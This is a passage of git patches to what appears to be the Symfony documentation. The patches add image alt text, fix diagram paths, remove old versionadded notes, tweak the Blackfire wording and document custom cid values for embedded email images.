+    :alt: An example state diagram for a workflow, showing transitions and places.
 
 A set of places and transitions creates a **definition**. A workflow needs
 a ``Definition`` and a way to write the states to the objects (i.e. an
diff --git a/workflow/dumping-workflows.rst b/workflow/dumping-workflows.rst
index d4d6adc3a74..d06c83edae5 100644
--- a/workflow/dumping-workflows.rst
+++ b/workflow/dumping-workflows.rst
@@ -36,14 +36,17 @@ to dump it as an image:
 The DOT image will look like this:
 
 .. image:: /_images/components/workflow/blogpost.png
+    :alt: A state diagram of the Symfony workflow created by DOT.
 
 The Mermaid image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_mermaid.png
+    :alt: A state diagram of the Symfony workflow created by Mermaid.
 
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/blogpost_puml.png
+    :alt: A state diagram of the Symfony workflow created by PlantUML.
 
 If you are creating workflows outside of a Symfony application, use the
 ``GraphvizDumper`` or ``StateMachineGraphvizDumper`` class to create the DOT
@@ -316,6 +319,7 @@ Below is the configuration for the pull request state machine with styling added
 The PlantUML image will look like this:
 
 .. image:: /_images/components/workflow/pull_request_puml_styled.png
+    :alt: A state diagram created by PlantUML with custom transition colors and descriptions.
 
 .. _`Graphviz`: https://www.graphviz.org
 .. _`Mermaid CLI`: https://github.com/mermaid-js/mermaid-cli
diff --git a/workflow/workflow-and-state-machine.rst b/workflow/workflow-and-state-machine.rst
index 10ec2fbf4b6..7d50cf0ac15 100644
--- a/workflow/workflow-and-state-machine.rst
+++ b/workflow/workflow-and-state-machine.rst
@@ -25,11 +25,13 @@ Examples
 The simplest workflow looks like this. It contains two places and one transition.
 
 .. image:: /_images/components/workflow/simple.png
+    :alt: A simple state diagram showing a single transition between two places.
 
 Workflows could be more complicated when they describe a real business case. The
 workflow below describes the process to fill in a job application.
 
 .. image:: /_images/components/workflow/job_application.png
+    :alt: A complex state diagram showing many places with multiple possible transitions between them.
 
 When you fill in a job application in this example there are 4 to 7 steps
 depending on the job you are applying for. Some jobs require personality
@@ -63,6 +65,7 @@ pull request. At any time, you can also "update" the pull request, which
 will result in another continuous integration run.
 
 .. image:: /_images/components/workflow/pull_request.png
+    :alt: A state diagram for the pull request process described previously.
 
 Below is the configuration for the pull request state machine.
 

From c930c0ae77b2bc041a0130a4d227fdc7c1f012a6 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 19:47:15 +0200
Subject: [PATCH 3729/5766] [#16895] Add alt description to new images

---
 components/var_dumper.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/var_dumper.rst b/components/var_dumper.rst
index b0fcaac2134..6b336ad1d3e 100644
--- a/components/var_dumper.rst
+++ b/components/var_dumper.rst
@@ -483,6 +483,7 @@ then its dump representation::
     dump($var);
 
 .. image:: /_images/components/var_dumper/10-uninitialized.png
+    :alt: Dump output where the uninitialized property is represented by a question mark followed by the type definition.
 
 .. versionadded:: 6.4
 

From 77517fdb837e0227c237c5d62cb81c079fcbaaad Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 19:47:38 +0200
Subject: [PATCH 3730/5766] [#16895] Remove last center align

---
 security/login_link.rst | 1 -
 1 file changed, 1 deletion(-)

diff --git a/security/login_link.rst b/security/login_link.rst
index 1fd1abf56b6..2a02b6c3f91 100644
--- a/security/login_link.rst
+++ b/security/login_link.rst
@@ -300,7 +300,6 @@ number::
 This will send an email like this to the user:
 
 .. image:: /_images/security/login_link_email.png
-   :align: center
    :alt: A default Symfony e-mail containing the text "Click on the button below to confirm you want to sign in" and the button with the login link.
 
 .. tip::

From 8693feeb390d3d35e14c95557cfab1b521a9c58c Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 19:50:51 +0200
Subject: [PATCH 3731/5766] Remove 5.x versionadded directives

---
 configuration/micro_kernel_trait.rst | 6 ------
 service_container/tags.rst           | 5 -----
 2 files changed, 11 deletions(-)

diff --git a/configuration/micro_kernel_trait.rst b/configuration/micro_kernel_trait.rst
index 53f9033552c..8458a0a23ad 100644
--- a/configuration/micro_kernel_trait.rst
+++ b/configuration/micro_kernel_trait.rst
@@ -166,12 +166,6 @@ be automatically registered as an extension. You can learn more about it in
 the dedicated section about
 :ref:`managing configuration with extensions <components-dependency-injection-extension>`.
 
-.. versionadded:: 5.2
-
-    The automatic registration of the kernel as an extension when implementing the
-    :class:`Symfony\\Component\\DependencyInjection\\Extension\\ExtensionInterface`
-    was introduced in Symfony 5.2.
-
 It is also possible to implement the ``EventSubscriberInterface`` to handle
 events directly from the kernel, again it will be registered automatically::
 
diff --git a/service_container/tags.rst b/service_container/tags.rst
index a4ec6618c88..088981c9720 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -541,11 +541,6 @@ To answer this, change the service declaration:
                 </services>
             </container>
 
-    .. versionadded:: 5.1
-
-        The possibility to add the ``name`` attribute to a tag in XML and YAML
-        formats was introduced in Symfony 5.1.
-
 .. tip::
 
     In YAML format, you may provide the tag as a simple string as long as

From 3d4fc328f0a928936c30c999700037787290c4d3 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 1 Sep 2023 21:40:35 +0200
Subject: [PATCH 3732/5766] Update blackfire free plan explanation

---
 performance.rst | 3 ++-
 1 file changed, 2 insertions(+), 1 deletion(-)

diff --git a/performance.rst b/performance.rst
index f855c7f4bd8..4383c95303d 100644
--- a/performance.rst
+++ b/performance.rst
@@ -224,7 +224,7 @@ Profiling with Blackfire
 
 `Blackfire`_ is the best tool to profile and optimize performance of Symfony
 applications during development, test and production. It's a commercial service,
-but provides free features that you can use to find bottlenecks in your projects.
+but provides a `Blackfire demonstration`_.
 
 Profiling with Symfony Stopwatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -353,5 +353,6 @@ Learn more
 .. _`cachetool`: https://github.com/gordalina/cachetool
 .. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
+.. _`Blackfire demonstration`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
 .. _`Stopwatch component`: https://symfony.com/components/Stopwatch
 .. _`real-world stopwatch`: https://en.wikipedia.org/wiki/Stopwatch

From 5691435de9cac557fc44efae92189d1e9d541be5 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Fri, 1 Sep 2023 21:59:52 +0200
Subject: [PATCH 3733/5766] Replace footnote by ref

---
 frontend.rst | 17 +++++++++++------
 1 file changed, 11 insertions(+), 6 deletions(-)

diff --git a/frontend.rst b/frontend.rst
index 8c4ac2c5746..27ee9719f68 100644
--- a/frontend.rst
+++ b/frontend.rst
@@ -25,14 +25,19 @@ Requires a build step?            yes                no
 Works in all browsers?            yes                yes
 Supports `Stimulus/UX`_           yes                yes
 Supports Sass/Tailwind            yes                :ref:`yes <asset-mapper-tailwind>`
-Supports React, Vue, Svelte?      yes                yes [#1]_
-Supports TypeScript               yes                no [#1]_
+Supports React, Vue, Svelte?      yes                yes :ref:`[1] <note-1>`
+Supports TypeScript               yes                no :ref:`[1] <note-1>`
 ================================  =================  ======================================================
 
-.. [#1] Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
-        need to use their native tools for pre-compilation. Also, some features (like
-        Vue single-file components) cannot be compiled down to pure JavaScript that can
-        be executed by a browser.
+Notes
+~~~~~
+
+.. _note-1:
+
+**[1]** Using JSX (React), Vue or TypeScript with AssetMapper is possible, but you'll
+need to use their native tools for pre-compilation. Also, some features (like
+Vue single-file components) cannot be compiled down to pure JavaScript that can
+be executed by a browser.
 
 .. _frontend-webpack-encore:
 

From 57dcfd0e871cfff20905d99aace787c01b49f3d5 Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Fri, 1 Sep 2023 23:23:26 +0200
Subject: [PATCH 3734/5766] Fix all diagram paths

---
 _images/sources/README.md                 | 2 +-
 components/http_kernel.rst                | 6 +++---
 components/messenger.rst                  | 2 +-
 components/serializer.rst                 | 2 +-
 contributing/documentation/standards.rst  | 4 ++--
 doctrine.rst                              | 2 +-
 doctrine/associations.rst                 | 4 ++--
 form/create_custom_field_type.rst         | 4 ++--
 form/data_transformers.rst                | 2 +-
 form/events.rst                           | 6 +++---
 form/form_customization.rst               | 2 +-
 form/form_themes.rst                      | 2 +-
 introduction/from_flat_php_to_symfony.rst | 2 +-
 introduction/http_fundamentals.rst        | 8 ++++----
 mercure.rst                               | 4 ++--
 security.rst                              | 2 +-
 16 files changed, 27 insertions(+), 27 deletions(-)

diff --git a/_images/sources/README.md b/_images/sources/README.md
index dcbd2dabefa..5373fa70ca0 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -39,7 +39,7 @@ Use the following snippet to embed the diagram in the docs:
 ```
 .. raw:: html
 
-    <object data="../_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
+    <object data="/_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
         alt="<alt description>"
     ></object>
 ```
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 9c8d01da8af..64fe0997ac5 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -72,7 +72,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
+    <object data="/_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
@@ -506,7 +506,7 @@ to the exception.
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
+    <object data="/_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
         alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses."
     ></object>
 
@@ -667,7 +667,7 @@ your controller).
 
 .. raw:: html
 
-    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
+    <object data="/_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
         alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller."
     ></object>
 
diff --git a/components/messenger.rst b/components/messenger.rst
index f2b71f38a3d..3650f5a129e 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -27,7 +27,7 @@ Concepts
 
 .. raw:: html
 
-    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"
+    <object data="/_images/components/messenger/overview.svg" type="image/svg+xml"
         alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text."
     ></object>
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 70101d5ab8b..9c46498dd45 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -8,7 +8,7 @@ In order to do so, the Serializer component follows the following schema.
 
 .. raw:: html
 
-    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
+    <object data="/_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
     ></object>
 
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 05ac4400035..504118c23c0 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -166,12 +166,12 @@ Images and Diagrams
 
 .. code-block:: text
 
-    .. image:: _images/example-screenshot.png
+    .. image:: /_images/example-screenshot.png
         :alt: Some concise description of the screenshot.
 
     .. raw:: html
 
-        <object data="_images/example-diagram.svg" type="image/svg+xml"
+        <object data="/_images/example-diagram.svg" type="image/svg+xml"
             alt="Some concise description."
         ></object>
 
diff --git a/doctrine.rst b/doctrine.rst
index b7cfdae01b8..67a1c192e9e 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -187,7 +187,7 @@ the ``#[ORM\Column(...)]`` comments that you see above each property:
 
 .. raw:: html
 
-    <object data="../_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
+    <object data="/_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
         alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table"
     ></object>
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index 1d5e55d5524..c39e0e63c5c 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -411,7 +411,7 @@ relationship for you:
 
 .. raw:: html
 
-    <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml"
+    <object data="/_images/doctrine/mapping_relations.svg" type="image/svg+xml"
         alt="Doctrine mapping associated Product and Category entities to a product and category database table"
     ></object>
 
@@ -461,7 +461,7 @@ you.
 
 .. raw:: html
 
-    <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
+    <object data="/_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
         alt="Doctrine only querying Category data when needed"
     ></object>
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index ccb90a04377..0590043a6d0 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -94,7 +94,7 @@ following set of fields as the "postal address":
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
+    <object data="/_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
         alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code."
     ></object>
 
@@ -436,7 +436,7 @@ are some examples of Twig block names for the postal address type:
 
 .. raw:: html
 
-    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
+    <object data="/_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
         alt="The wireframe with some block names highlighted, these are also listed below the image."
     ></object>
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index 56a08d71132..f0e7cd390b1 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -442,7 +442,7 @@ types of underlying data.
 
 .. raw:: html
 
-    <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml"
+    <object data="/_images/form/data-transformer-types.svg" type="image/svg+xml"
         alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram."
     ></object>
 
diff --git a/form/events.rst b/form/events.rst
index 40b530b88f2..c37d73b4e65 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -38,7 +38,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"
+    <object data="/_images/form/form_workflow.svg" type="image/svg+xml"
         alt="A generic flow diagram showing the two phases. These are
         described in the next subsections."
     ></object>
@@ -48,7 +48,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
+    <object data="/_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the two events that are dispatched during pre-population."
     ></object>
 
@@ -123,7 +123,7 @@ View data        Normalized data transformed using a view transformer
 
 .. raw:: html
 
-    <object data="../_images/form/form_submission_workflow.svg" type="image/svg+xml"
+    <object data="/_images/form/form_submission_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the three events that are dispatched when handling form submissions."
     ></object>
 
diff --git a/form/form_customization.rst b/form/form_customization.rst
index 005e0eac461..0263bfbe305 100644
--- a/form/form_customization.rst
+++ b/form/form_customization.rst
@@ -51,7 +51,7 @@ customized using other Twig functions, as illustrated in the following diagram:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="Wireframe showing all functions in a form row, which are mentioned directly below."
     ></object>
 
diff --git a/form/form_themes.rst b/form/form_themes.rst
index 5f462ce4bbb..3798b04b855 100644
--- a/form/form_themes.rst
+++ b/form/form_themes.rst
@@ -247,7 +247,7 @@ In both cases, the ``field-part`` can be any of these valid form field parts:
 
 .. raw:: html
 
-    <object data="../_images/form/form-field-parts.svg" type="image/svg+xml"
+    <object data="/_images/form/form-field-parts.svg" type="image/svg+xml"
         alt="A wireframe showing all form field parts: form_row, form_label, form_widget, form_help and form_errors."
     ></object>
 
diff --git a/introduction/from_flat_php_to_symfony.rst b/introduction/from_flat_php_to_symfony.rst
index 7386f629546..06cadc4e7b0 100644
--- a/introduction/from_flat_php_to_symfony.rst
+++ b/introduction/from_flat_php_to_symfony.rst
@@ -657,7 +657,7 @@ It's a beautiful thing.
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the previously described process from front controller to response."
     ></object>
 
diff --git a/introduction/http_fundamentals.rst b/introduction/http_fundamentals.rst
index fceb6a4a13d..da0600e5860 100644
--- a/introduction/http_fundamentals.rst
+++ b/introduction/http_fundamentals.rst
@@ -19,7 +19,7 @@ to communicate with each other. For example, when checking for the latest
 
 .. raw:: html
 
-    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="A sequence diagram showing the browser sending &quot;Can I see today's comic?&quot; to the xkcd server. The server prepares the page's HTML and sents it back to the browser."
     ></object>
 
@@ -43,7 +43,7 @@ browser and the xkcd web server:
 
 .. raw:: html
 
-    <object data="../_images/http/xkcd-request.svg" type="image/svg+xml"
+    <object data="/_images/http/xkcd-request.svg" type="image/svg+xml"
         alt="A sequence diagram showing the request from browser to the xkcd server."
     ></object>
 
@@ -108,7 +108,7 @@ from the xkcd web server:
 
 .. raw:: html
 
-    <object data="../_images/http/xkcd-full.svg" type="image/svg+xml"
+    <object data="/_images/http/xkcd-full.svg" type="image/svg+xml"
         alt="The full sequence diagram with the xkcd server sending the page's HTML back to the browser."
     ></object>
 
@@ -355,7 +355,7 @@ to do:
 
 .. raw:: html
 
-    <object data="../_images/http/request-flow.svg" type="image/svg+xml"
+    <object data="/_images/http/request-flow.svg" type="image/svg+xml"
         alt="A flow diagram visualizing the request-response flow. Each step is written out in text in the next section."
     ></object>
 
diff --git a/mercure.rst b/mercure.rst
index b26e2ee9294..18d8766ce2a 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -69,7 +69,7 @@ Running a Mercure Hub
 
 .. raw:: html
 
-    <object data="../_images/mercure/hub.svg" type="image/svg+xml"
+    <object data="/_images/mercure/hub.svg" type="image/svg+xml"
         alt="Flow diagram showing a Symfony app communicating with the Mercure Hub using a POST request, and the Mercure Hub using SSE to communicate to the clients."
     ></object>
 
@@ -335,7 +335,7 @@ in a ``Link`` HTTP header.
 
 .. raw:: html
 
-    <object data="../_images/mercure/discovery.svg" type="image/svg+xml"
+    <object data="/_images/mercure/discovery.svg" type="image/svg+xml"
         alt="Flow diagram showing the Link response header set by the Symfony app to respond to an API request for a book with ID 1."
     ></object>
 
diff --git a/security.rst b/security.rst
index 8f46ed7fc70..23253279f28 100644
--- a/security.rst
+++ b/security.rst
@@ -2603,7 +2603,7 @@ Authentication Events
 
 .. raw:: html
 
-    <object data="../_images/security/security_events.svg" type="image/svg+xml"
+    <object data="/_images/security/security_events.svg" type="image/svg+xml"
         alt="A flow diagram showing the authentication events that are described in this section in a request-response cycle."
     ></object>
 

From cee2e96e08b73b2efeb8dda6f4a3d192099e2612 Mon Sep 17 00:00:00 2001
From: Antoine Lamirault <lamiraultantoine@gmail.com>
Date: Sat, 2 Sep 2023 14:48:31 +0200
Subject: [PATCH 3735/5766] Embedding images support custom cid

---
 mailer.rst | 16 ++++++++++++++++
 1 file changed, 16 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 3ea6113c6c2..6bd1ced54e5 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -616,11 +616,27 @@ images inside the HTML contents::
         ->html('... <div background="cid:footer-signature"> ... </div> ...')
     ;
 
+You can also use :method:`DataPart::setContentId() <Symfony\\Component\\Mime\\Part\\DataPart::setContentId>` method to
+define value and use it as ``cid`` reference::
+
+    $part = new DataPart(new File('/path/to/images/signature.gif'));
+    $part->setContentId('footer-signature');
+
+    $email = (new Email())
+        // ...
+        ->addPart($part->asInline())
+        ->html('... <img src="cid:footer-signature"> ...')
+    ;
+
 .. versionadded:: 6.1
 
     The support of embedded images as HTML backgrounds was introduced in Symfony
     6.1.
 
+.. versionadded:: 6.3
+
+    The support of custom ``cid`` for embedded images was introduced in Symfony 6.3.
+
 .. _mailer-configure-email-globally:
 
 Configuring Emails Globally

From 92bcd0f9431289a46aaf3813f16fa46a339bb339 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Sat, 2 Sep 2023 17:10:13 +0200
Subject: [PATCH 3736/5766] Tweak

---
 performance.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/performance.rst b/performance.rst
index 4383c95303d..dc44757be64 100644
--- a/performance.rst
+++ b/performance.rst
@@ -224,7 +224,7 @@ Profiling with Blackfire
 
 `Blackfire`_ is the best tool to profile and optimize performance of Symfony
 applications during development, test and production. It's a commercial service,
-but provides a `Blackfire demonstration`_.
+but provides a `full-featured demo`_.
 
 Profiling with Symfony Stopwatch
 ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
@@ -353,6 +353,6 @@ Learn more
 .. _`cachetool`: https://github.com/gordalina/cachetool
 .. _`open_basedir`: https://www.php.net/manual/ini.core.php#ini.open-basedir
 .. _`Blackfire`: https://blackfire.io/docs/introduction?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
-.. _`Blackfire demonstration`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
+.. _`full-featured demo`: https://demo.blackfire.io?utm_source=symfony&utm_medium=symfonycom_docs&utm_campaign=performance
 .. _`Stopwatch component`: https://symfony.com/components/Stopwatch
 .. _`real-world stopwatch`: https://en.wikipedia.org/wiki/Stopwatch

From 2f34dd21b0cce70cd2e6da671129b9d3d6934efe Mon Sep 17 00:00:00 2001
From: Wouter de Jong <wouter@wouterj.nl>
Date: Sat, 2 Sep 2023 19:41:21 +0200
Subject: [PATCH 3737/5766] Fix all diagram paths again

---
 _images/sources/README.md                 | 2 +-
 components/http_kernel.rst                | 6 +++---
 components/messenger.rst                  | 2 +-
 components/serializer.rst                 | 2 +-
 contributing/documentation/standards.rst  | 2 +-
 doctrine.rst                              | 2 +-
 doctrine/associations.rst                 | 4 ++--
 form/create_custom_field_type.rst         | 4 ++--
 form/data_transformers.rst                | 2 +-
 form/events.rst                           | 6 +++---
 form/form_customization.rst               | 2 +-
 form/form_themes.rst                      | 2 +-
 introduction/from_flat_php_to_symfony.rst | 2 +-
 introduction/http_fundamentals.rst        | 8 ++++----
 mercure.rst                               | 4 ++--
 security.rst                              | 2 +-
 16 files changed, 26 insertions(+), 26 deletions(-)

diff --git a/_images/sources/README.md b/_images/sources/README.md
index 5373fa70ca0..467d4024010 100644
--- a/_images/sources/README.md
+++ b/_images/sources/README.md
@@ -39,7 +39,7 @@ Use the following snippet to embed the diagram in the docs:
 ```
 .. raw:: html
 
-    <object data="/_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
+    <object data="_images/<folder-name>/<diagram-file-name>.svg" type="image/svg+xml"
         alt="<alt description>"
     ></object>
 ```
diff --git a/components/http_kernel.rst b/components/http_kernel.rst
index 64fe0997ac5..9c8d01da8af 100644
--- a/components/http_kernel.rst
+++ b/components/http_kernel.rst
@@ -72,7 +72,7 @@ and ends with a :class:`Symfony\\Component\\HttpFoundation\\Response`.
 
 .. raw:: html
 
-    <object data="/_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
+    <object data="../_images/components/http_kernel/http-workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing all HTTP Kernel events in the Request-Response lifecycle. Each event is numbered 1 to 8 and described in detail in the following subsections."
     ></object>
 
@@ -506,7 +506,7 @@ to the exception.
 
 .. raw:: html
 
-    <object data="/_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
+    <object data="../_images/components/http_kernel/http-workflow-exception.svg" type="image/svg+xml"
         alt="The HTTP KErnel flow diagram showing how exceptions bypass all further steps and are directly transformed to responses."
     ></object>
 
@@ -667,7 +667,7 @@ your controller).
 
 .. raw:: html
 
-    <object data="/_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
+    <object data="../_images/components/http_kernel/http-workflow-subrequest.svg" type="image/svg+xml"
         alt="The HTTP Kernel flow diagram with a sub request from a controller starting the lifecycle at step 1 again and feeding the sub Response content back into the controller."
     ></object>
 
diff --git a/components/messenger.rst b/components/messenger.rst
index 3650f5a129e..f2b71f38a3d 100644
--- a/components/messenger.rst
+++ b/components/messenger.rst
@@ -27,7 +27,7 @@ Concepts
 
 .. raw:: html
 
-    <object data="/_images/components/messenger/overview.svg" type="image/svg+xml"
+    <object data="../_images/components/messenger/overview.svg" type="image/svg+xml"
         alt="A flow diagram visualizing how each concept relates to eachother. Each concept is described in the subsequent text."
     ></object>
 
diff --git a/components/serializer.rst b/components/serializer.rst
index 9c46498dd45..70101d5ab8b 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -8,7 +8,7 @@ In order to do so, the Serializer component follows the following schema.
 
 .. raw:: html
 
-    <object data="/_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
+    <object data="../_images/components/serializer/serializer_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing how objects are serialized/deserialized. This is described in the subsequent paragraph."
     ></object>
 
diff --git a/contributing/documentation/standards.rst b/contributing/documentation/standards.rst
index 504118c23c0..cc5e16f3f81 100644
--- a/contributing/documentation/standards.rst
+++ b/contributing/documentation/standards.rst
@@ -171,7 +171,7 @@ Images and Diagrams
 
     .. raw:: html
 
-        <object data="/_images/example-diagram.svg" type="image/svg+xml"
+        <object data="_images/example-diagram.svg" type="image/svg+xml"
             alt="Some concise description."
         ></object>
 
diff --git a/doctrine.rst b/doctrine.rst
index 67a1c192e9e..e5f4d0bdfc3 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -187,7 +187,7 @@ the ``#[ORM\Column(...)]`` comments that you see above each property:
 
 .. raw:: html
 
-    <object data="/_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
+    <object data="_images/doctrine/mapping_single_entity.svg" type="image/svg+xml"
         alt="Doctrine mapping between properties of a Product PHP object and the data in the product database table"
     ></object>
 
diff --git a/doctrine/associations.rst b/doctrine/associations.rst
index c39e0e63c5c..1d5e55d5524 100644
--- a/doctrine/associations.rst
+++ b/doctrine/associations.rst
@@ -411,7 +411,7 @@ relationship for you:
 
 .. raw:: html
 
-    <object data="/_images/doctrine/mapping_relations.svg" type="image/svg+xml"
+    <object data="../_images/doctrine/mapping_relations.svg" type="image/svg+xml"
         alt="Doctrine mapping associated Product and Category entities to a product and category database table"
     ></object>
 
@@ -461,7 +461,7 @@ you.
 
 .. raw:: html
 
-    <object data="/_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
+    <object data="../_images/doctrine/mapping_relations_proxy.svg" type="image/svg+xml"
         alt="Doctrine only querying Category data when needed"
     ></object>
 
diff --git a/form/create_custom_field_type.rst b/form/create_custom_field_type.rst
index 0590043a6d0..ccb90a04377 100644
--- a/form/create_custom_field_type.rst
+++ b/form/create_custom_field_type.rst
@@ -94,7 +94,7 @@ following set of fields as the "postal address":
 
 .. raw:: html
 
-    <object data="/_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
+    <object data="../_images/form/form-custom-type-postal-address.svg" type="image/svg+xml"
         alt="A wireframe of the custom field type, showing five text inputs: two address lines, the City, the State and the ZIP code."
     ></object>
 
@@ -436,7 +436,7 @@ are some examples of Twig block names for the postal address type:
 
 .. raw:: html
 
-    <object data="/_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
+    <object data="../_images/form/form-custom-type-postal-address-fragment-names.svg" type="image/svg+xml"
         alt="The wireframe with some block names highlighted, these are also listed below the image."
     ></object>
 
diff --git a/form/data_transformers.rst b/form/data_transformers.rst
index f0e7cd390b1..56a08d71132 100644
--- a/form/data_transformers.rst
+++ b/form/data_transformers.rst
@@ -442,7 +442,7 @@ types of underlying data.
 
 .. raw:: html
 
-    <object data="/_images/form/data-transformer-types.svg" type="image/svg+xml"
+    <object data="../_images/form/data-transformer-types.svg" type="image/svg+xml"
         alt="Flow diagram with the Model transformer between Model and Norm data, and the View transformer between Norm and View data. This is described in detail below the diagram."
     ></object>
 
diff --git a/form/events.rst b/form/events.rst
index c37d73b4e65..40b530b88f2 100644
--- a/form/events.rst
+++ b/form/events.rst
@@ -38,7 +38,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="/_images/form/form_workflow.svg" type="image/svg+xml"
+    <object data="../_images/form/form_workflow.svg" type="image/svg+xml"
         alt="A generic flow diagram showing the two phases. These are
         described in the next subsections."
     ></object>
@@ -48,7 +48,7 @@ be updated:
 
 .. raw:: html
 
-    <object data="/_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
+    <object data="../_images/form/form_prepopulation_workflow.svg" type="image/svg+xml"
         alt="A flow diagram showing the two events that are dispatched during pre-population."
     ></object>
 
@@ -123,7 +123,7 @@ View data        Normalized data transformed using a view transformer
 
 .. raw:: html
 
-    <object data="/_images/form/form_submission_workflow.svg" type="image/svg+xml"
